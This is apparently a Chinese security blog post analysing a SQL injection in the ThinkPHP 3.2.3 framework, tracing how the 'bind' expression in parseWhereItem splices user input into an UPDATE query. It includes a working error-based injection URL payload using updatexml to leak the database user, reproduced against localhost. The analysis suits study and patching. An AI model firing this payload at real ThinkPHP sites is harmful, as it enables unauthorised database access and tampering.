Thinkphp3.x SQL注入

漏洞成因分析

分析漏洞成因,其实更多是发掘框架漏洞发生的规律。Thinkphp使用PDO进行sql查询,本不应该出现sql注入。由于对传入数据未正确过滤,sql语句解析方法编写不当造成注入。

环境配置

控制器初始化语句

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $condition['username']=I('username');
        $data['pass']='123456';
        $res=M('user')->where($condition)->save($data);
    }
}

执行该payload调用栈如下,分析这三个函数即可。其他只是配置加载、框架类加载、钩子调用等等并不关注。

漏洞分析

Payload:http://127.0.0.1/tp/tp3.2.3/index.php?username[0]=bind&username[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

Thinkphp框架使用I方法接收外部数据,并进行过滤,当未配置过滤方法C方法调用默认为htmlspecialchars方法,很显然html实体化对内部sql语句并不会造成影响。如下代码filter通过C方法调用设置为htmlspecialchars,再通过call_user_func回调,对传入的username字段进行过滤。
/thinkphp/API/functions.php

在经过I方法中框架过滤think_filter()

function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }

根据调用栈,跟进save()方法。查看函数返回值result,跟进update()方法(也可以看调用栈)。

public function update($data,$options) {
    $this->model  =   $options['model'];
    $this->parseBind(!empty($options['bind'])?$options['bind']:array());
    $table  =   $this->parseTable($options['table']);
    $sql   = 'UPDATE ' . $table . $this->parseSet($data);
    if(strpos($table,',')){// 多表更新支持JOIN操作
        $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
    }
    $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
    if(!strpos($table,',')){
        //  单表更新支持order和lmit
        $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
    }
    $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
    return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

观察语句,注入点发生在where后,跟进parseWhere方法,查找$whereStr拼接地方。

跟进parseWhereItem方法.当val为数组时,将索引为0赋值给$exp,追踪exp判断语句。当$exp值为’bind’时。将val[1]与:拼接构造执行PDO语句的占位符。只要赋值0即可实现sql查询语句注入。

elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];

漏洞复现

payload: http://127.0.0.1/tp/tp3.2.3/?username[0]=bind&username[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!